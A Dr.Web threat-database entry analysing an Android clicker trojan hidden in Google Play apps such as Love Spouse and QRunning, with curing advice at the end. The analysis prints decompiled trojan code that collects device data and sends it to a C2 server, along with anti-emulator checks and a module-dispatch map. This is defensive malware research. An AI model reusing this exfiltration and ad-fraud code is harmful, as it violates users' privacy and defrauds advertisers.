My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets



Added to the Dr.Web virus database: 2024-02-12

Virus description added:


  • 06c99cf6e53bfe9b730f57a531a4ef5202bafefa


This clicker trojan is a modification of Android.Click.410.origin, which was detected by Doctor Web analysts on April 28, 2023. The newer trojan is embedded in applications developed by a number of Chinese developers under the guise of the log-handling library. Among the infected apps in the Google Play store are Love Spouse (for managing adult products) and QRunning (a physical activity tracker). These two applications are installed on 1.5 million devices. It should be noted that the malicious code is detected in recent versions of these applications. Curiously enough, the trojan does not launch on devices where China is set as the region and the Chinese language interface is used.

Operating routine

The following call is embedded in the code of the compromised application: 

This method initializes the malicious SDK. At this step the trojan also updates its configuration by sending an HTTP request to https[:]//trends[.]search-hub[.]cn/QRunning.

The server responds with an HTTP 302 response code, and its Location header contains a link. For example: hhttps[:]//trends[.]search-hub[.]cn?wgfb_switch=1&wgbl_switch=1&ddj_switch=1.

The parameters contained in the received link are the configuration of the trojan. The parameter name represents one of the actions, and the value “1” indicates the action to be performed by the trojan.

  • «wgfb_switch» = 1, launches the Airmfly module,
  • «wgbl_switch» = 1, launches the Weatherokye module,
  • «ddj_switch» = 1, collects information about the device and sends it to the C2 server.

After receiving the configuration, the trojan checks the region and system language settings of the device; if these are set to China, the trojan will take no further action.

Collecting device data

Below is the code for the method that collects device data and sends it to the server https[:]//usae[.]dsp[.]dbincome[.]com.

ThreadManager.executeOnAsyncThread(() -> {
    JSONObject root = new JSONObject();
    JSONObject app = new JSONObject();
    app.put("bundle", "com.wbkj.lovespouse");
    root.put("app", app);
    JSONObject geo = new JSONObject();
    geo.put("country", Locale.getDefault().getCountry());
    geo.put("region", Locale.getDefault().getCountry());
    geo.put("city", Locale.getDefault().getCountry());
    JSONObject device = new JSONObject();
    device.put("geo", geo);
    device.put("ua", "Dalvik/2.1.0 (Linux; U; Android 13; Pixel 4a Build/TQ2A.230405.003)");
    device.put("ip", Utils.getIP());
    device.put("devicetype", 4);
    device.put("make", Build.MANUFACTURER);
    device.put("model", Build.MODEL);
    device.put("os", "android");
    device.put("osv", Build.VERSION.RELEASE);
    device.put("h", this.val$context.getResources().getDisplayMetrics().heightPixels);
    device.put("w", this.val$context.getResources().getDisplayMetrics().widthPixels);
    device.put("js", 1);
    device.put("language", Locale.getDefault().getLanguage());
    device.put("carrier", Build.BRAND);
    device.put("mccmnc", Utils.getMccmnc(this.val$context));  // // network operator
    device.put("connectiontype", 1);
    device.put("ifa", PreferenceUtils.getString(this.val$context, "google_id"));
    root.put("device", device);
    Utils.sendGetRequest(("https[:]//usae[.]dsp[.]dbincome[.]com/dsp/pushdata/cao" + "?data=" + root.toString()));

Airmfly module

The module code is found in the xaicsjv.wqqc package. Airmfly’s operation is managed by its C2 server located at play[.]airmfly[.]com.

The module registers a number of receivers to take in the ad strategies that are launched at specified time intervals and when the following system events occur:

  • battery level changes and charger connection
  • network connection changes
  • screen status changes
  • time and time zone changes

Airmfly requests data about the device IP address and its location from geo[.]airmfly[.]com. This information is stored in the application settings.

The module will only run if more than three minutes have passed since it was last started. When launched, it sends an HTTP request to https[:]//play[.]airmfly[.]com/logstores/info/track, with information about whether the main application is running in an emulated environment, which signals to the attackers that someone is trying to debug the host application.

Below is the code for creating request parameters:

((HashMap)map0).put("adb_open", ((int)an_AntiEmulator.isAdbOpen(context0)));
((HashMap)map0).put("ro_debug", an_AntiEmulator.ro_debug());
((HashMap)map0).put("usb_charging", ((int)an_AntiEmulator.usb_charging(context0)));
((HashMap)map0).put("root", "0");
((HashMap)map0).put("eng_mode", an_AntiEmulator.ro_secure());
((HashMap)map0).put("debugging", ((int)an_AntiEmulator.debuggerConnected(context0)));
((HashMap)map0).put("vpn_on", ((int)an_AntiEmulator.isVPN_On(context0)));
((HashMap)map0).put("proxy_on", ((int)an_AntiEmulator.isProxy_On(context0)));
((HashMap)map0).put("is_xp", "0");

The primary activity of the module is to send HTTP requests to https[:]//stg[.]airmfly[.]com/stg. The response from the server will contain the description of an ad-related task. There are two types of tasks that can be called:

  • StrategyWebSite
  • StrategyWebSearch

Airmfly StrategyWebSite

As part of this strategy, the Airmfly module creates an invisible WebView and loads the URL with the parameters from the task into it. Then, in the created WebView, it runs a Javascript called check_website_load_completed_js.

After executing the script, the trojan can take a screenshot of the webpage loaded in WebView and send it in base64-encoded form to https[:]//capture[.]airmfly[.]com/get_img.

Then it executes the following JS scripts from the task to search for ads and perform clicks


If there is a video on the loaded page, the trojan tries to mute its sound using JS.

It takes a screenshot, analyzes it pixel by pixel, determines the click coordinates, and performs clicks. It also performs various scenarios for clicking and scrolling WebView content.

Airmfly StrategyWebSearch

The principle of this strategy is similar to StrategyWebSite described above; however, this task is adapted to work with Bing, Yahoo and Google search engines.

It retrieves keywords by querying https[:]//keywords[.]airmfly[.]com/keyWords.

It creates an invisible WebView and loads the URL from the task into it. Parameters are added to the URL in the form of the keywords obtained earlier.

It loads a Javascript that detects the search engine and the presence of ads in the results. The script can be delivered together with the strategy or embedded in the trojan body. In the latter case, only Google, Bing and Yahoo search engines are supported.

The trojan can retrieve keywords via the link https[:]//keywords[.]airmfly[.]com/keyWords, after which it loads a Javascript that looks for search forms and enters the retrieved words into them.

Using Javascripts and Java code, the trojan can scroll through the WebView content and identify the clickable elements of the page. It also uses a pixel-by-pixel analysis of webpage screenshots to determine the click coordinates. In the process, it sends the screenshots of the page to https[:]//capture[.]airmfly[.]com/get_img.

If the page plays audio, the module mutes the audio using Javascript.

Weatherokye module

Another module in the trojan. The code can be found in the following packages:

Its control server address is https[:]//planw[.]weatherokye[.]com.

The module sends a request to https[:]//planw[.]weatherokye[.]com/v1/udinfor. After receiving the response isd with the value “0”, the module continues its operation.

Next, a request is made to https[:]//planw[.]weatherokye[.]com/v1/init. The response to the request is a list of submodules to be run. An example of the server response is as follows:

    "d": 1,
    "ms": [
            "c": "com.mgc.aio.Run",
            "cm": "1",
            "d": "",
            "id": 103,
            "m": "instance",
            "p": "910"
            "c": "",
            "cm": "1",
            "d": "",
            "id": 116,
            "m": "instance",
            "p": "910"

The parameters c and d are not used in the SDK code. The link from parameter d is used to access an encrypted file, and the element c contains a class name. This probably performs a remote code download for other versions of the SDK. In this version, the code needed to perform all the tasks is initially present.

Depending on the value of the id parameter, one or another SDK submodule will be started. Supported submodules and their identifiers are included in the application code:

HashMap hashMap0 = new HashMap();
hashMap0.put("99", "offer");
hashMap0.put("172", "offer2");
hashMap0.put("103", "mgidnews");
hashMap0.put("116", "mgidnews2");
hashMap0.put("154", "mgidnews3");
hashMap0.put("113", "bingAD");
hashMap0.put("150", "bingAD2");
hashMap0.put("162", "bingAdOA");
hashMap0.put("168", "bingAdOA2");
hashMap0.put("190", "bingAdOA3");
hashMap0.put("200", "bingAdOA4");
hashMap0.put("206", "bingAdOA5");
hashMap0.put("214", "bingAdOA6");
hashMap0.put("220", "bingAdOA7");
hashMap0.put("222", "bingAdOA8");
hashMap0.put("232", "brandAd");
hashMap0.put("234", "tbnews");

For example, 103 is the id received from the server, and mgidnews is the conditional name of the module to be run.

These submodules are similar to one another, and they operate in much the same way. They:

  • Create an invisible WebView
  • Load links into it, with the task configuration usually retrieved from https[:]//planwm[.]weatherokye[.]com, e.g., https[:]//planwm[.]weatherokye[.]com/v1/mgidnews.
  • Run Javascript code in WebView that interacts with the extended WebChromeClient and WebViewClient, and also interacts with Java code via the @JavaScriptInterface annotation. It performs various actions on the loaded page: clicks, scrolls, mutes video sound, enters text into forms, etc.

In some modules various Javascripts are additionally loaded from https[:]//5[.]ahd187[.]com.

Curing recommendations


  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android